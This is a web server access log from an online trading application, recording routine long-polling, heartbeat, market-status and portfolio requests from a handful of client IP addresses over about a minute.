[09/Jan/2026:11:42:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:42:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:42:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930403960 HTTP/1.1" -
[09/Jan/2026:11:42:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:11:42:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:42:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930403750 HTTP/1.1" -
[09/Jan/2026:11:42:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1447
[09/Jan/2026:11:42:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930403947 HTTP/1.1" -
[09/Jan/2026:11:42:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930404107 HTTP/1.1" -
[09/Jan/2026:11:42:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:42:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:42:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930406705 HTTP/1.1" -
[09/Jan/2026:11:42:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930409007 HTTP/1.1" -
[09/Jan/2026:11:42:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930408803 HTTP/1.1" -
[09/Jan/2026:11:42:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930409077 HTTP/1.1" -
[09/Jan/2026:11:42:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:42:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930409176 HTTP/1.1" -
[09/Jan/2026:11:42:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930411765 HTTP/1.1" -
[09/Jan/2026:11:42:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:42:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:42:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930414036 HTTP/1.1" -
[09/Jan/2026:11:42:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930413856 HTTP/1.1" -
[09/Jan/2026:11:42:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930414213 HTTP/1.1" -
[09/Jan/2026:11:42:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930414262 HTTP/1.1" -
[09/Jan/2026:11:42:27 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930416824 HTTP/1.1" -
[09/Jan/2026:11:42:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930419078 HTTP/1.1" -
[09/Jan/2026:11:42:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:42:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930418910 HTTP/1.1" -
[09/Jan/2026:11:42:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930419267 HTTP/1.1" -
[09/Jan/2026:11:42:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930419288 HTTP/1.1" -
[09/Jan/2026:11:42:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930421885 HTTP/1.1" -
[09/Jan/2026:11:42:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 316
[09/Jan/2026:11:42:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930424113 HTTP/1.1" -
[09/Jan/2026:11:42:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930423977 HTTP/1.1" -
[09/Jan/2026:11:42:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930424322 HTTP/1.1" -
[09/Jan/2026:11:42:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930424313 HTTP/1.1" -
[09/Jan/2026:11:42:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930426944 HTTP/1.1" -
[09/Jan/2026:11:42:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04_o.jpg HTTP/1.1" 3289
[09/Jan/2026:11:42:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:11:42:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930429149 HTTP/1.1" -
[09/Jan/2026:11:42:40 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930429038 HTTP/1.1" -
[09/Jan/2026:11:42:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930429462 HTTP/1.1" -
[09/Jan/2026:11:42:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930429372 HTTP/1.1" -
[09/Jan/2026:11:42:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:42:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:42:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930432005 HTTP/1.1" -
[09/Jan/2026:11:42:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930434204 HTTP/1.1" -
[09/Jan/2026:11:42:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930434092 HTTP/1.1" -
[09/Jan/2026:11:42:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930434602 HTTP/1.1" -
[09/Jan/2026:11:42:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930434451 HTTP/1.1" -
[09/Jan/2026:11:42:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:42:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:42:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930437059 HTTP/1.1" -
[09/Jan/2026:11:42:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930439241 HTTP/1.1" -
[09/Jan/2026:11:42:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930439158 HTTP/1.1" -
[09/Jan/2026:11:42:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930439765 HTTP/1.1" -
[09/Jan/2026:11:42:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:42:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930439520 HTTP/1.1" -
[09/Jan/2026:11:42:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:42:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930442115 HTTP/1.1" -
[09/Jan/2026:11:42:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:42:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930444265 HTTP/1.1" -
[09/Jan/2026:11:42:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930444221 HTTP/1.1" -
[09/Jan/2026:11:42:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930444944 HTTP/1.1" -
[09/Jan/2026:11:42:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930444558 HTTP/1.1" -
[09/Jan/2026:11:42:58 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930447187 HTTP/1.1" -
[09/Jan/2026:11:43:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:43:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930449309 HTTP/1.1" -
[09/Jan/2026:11:43:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930449283 HTTP/1.1" -
[09/Jan/2026:11:43:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930450036 HTTP/1.1" -
[09/Jan/2026:11:43:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930449617 HTTP/1.1" -
[09/Jan/2026:11:43:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930452246 HTTP/1.1" -
[09/Jan/2026:11:43:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930454344 HTTP/1.1" -
[09/Jan/2026:11:43:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930454345 HTTP/1.1" -
[09/Jan/2026:11:43:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930455102 HTTP/1.1" -
[09/Jan/2026:11:43:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930454687 HTTP/1.1" -
[09/Jan/2026:11:43:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930457316 HTTP/1.1" -
